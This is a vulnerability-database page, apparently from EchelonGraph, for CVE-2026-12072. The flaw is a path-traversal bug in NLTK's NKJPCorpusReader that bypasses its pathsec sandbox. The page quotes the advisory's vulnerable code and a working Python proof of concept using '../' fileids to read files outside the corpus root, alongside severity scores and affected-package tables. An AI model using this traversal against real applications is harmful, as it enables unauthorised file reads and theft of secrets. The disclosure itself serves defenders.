CVE-2026-12072

HIGHPre-NVD 7.57.5
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.5EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 7.5Exploit: None knownExposed services: Not assessed

A fix is available — apply it.

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

### Details SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

  • add_root() builds the path by plain string concatenation with no
normalization or containment check:
def add_root(self, fileid):          # lines 96-102
         if self.root in fileid:
             return fileid                # attacker-controlled value returned unchanged
         return self.root + fileid        # plain concat, '..' not stripped
  • The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin open()):
class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
         def __init__(self, filename, **kwargs):
             XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189
  • The other modes reach the filesystem through XML_Tool, which uses a raw
os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():
class XML_Tool:                                  # line 243
         def __init__(self, root, filename):
             self.read_file = os.path.join(root, filename)   # line 251
         def build_preprocessed_file(self):
             fr = open(self.read_file)                        # line 256 — pathsec never consulted

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.

pip install "nltk==3.9.4"
   python3 poc.py

poc.py:

import builtins, os, shutil, tempfile, warnings
   warnings.simplefilter("ignore")
   import nltk, nltk.pathsec as pathsec
   from nltk.corpus.reader.nkjp import NKJPCorpusReader

print("nltk", nltk.__version__)

# A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("")

# The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "" "SECRET-API-KEY=sk-live-DEADBEEF" "")

# Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, k: (opened.append(str(f)), real(f, *a, k))[1]

reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled fileids; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real

print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)

Output (unmodified):

nltk 3.9.4
   ENFORCE = True
   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF
With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.

CVSS v3
7.5
EG Score
7.5HIGHlow confidence
EG Risk
38
EG Risk 38/100CISA SSVC

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity75% × 45%
Exploitation0% × 40%
Automatability30% × 15%
CISA SSVC: Track at low or medium mission impact; Track or Attend at high (mission-essential systems).
Action: A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

CISA SSVCTrack at low or medium mission impact; Track or Attend at high (mission-essential systems).

A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.

Exploitation none (no KEV listing, exploit record or EPSS ≥ 50%) · Automatable unknown (not published for this CVE) · Technical impact partial (CVSS below 9.0). Mission impact is CISA's Mission & Well-being decision point, and only you can judge it: high means the affected system is essential to your organisation's mission, or its compromise could cause irreversible harm to people. CISA's decision table

Published

July 31, 2026

Last Modified

July 31, 2026

Vendor Advisories for CVE-2026-12072(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(4 across 4 ecosystems)
Debian:12(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.10.0-1 ... 3.9.3-1 (9 versions)
  • every version on: no fix on record
—
Debian:13(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.10.0-1 ... 3.9.3-1 (6 versions)
  • every version on: no fix on record
—
Debian:14(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.9.1-2, 3.9.2-1, 3.9.3-1
  • every version up to 3.10.0-1: fixed in 3.10.0-1
—
PyPI(1)
PackageVulnerable rangeFix by version rangeDependents
nltk0.8 ... 3.9b1 (65 versions)
  • every version up to 3.10.0: fixed in 3.10.0
—

Data Freshness Timeline

(refreshed 0× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-09-29 06:49 UTCEG score recompute
  2. 2026-07-31 17:08 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-12072?
CVE-2026-12072 is a high vulnerability published on July 31, 2026. Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True) Summary A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods…
When was CVE-2026-12072 disclosed?
CVE-2026-12072 was first published on July 31, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-12072?
CVE-2026-12072 has a CVSS base score of 7.5 (the CNA's own assessment, by github_m; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-12072?
A fix for CVE-2026-12072 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-12072 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-12072

Explore →

Is Your Infrastructure Affected by CVE-2026-12072?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.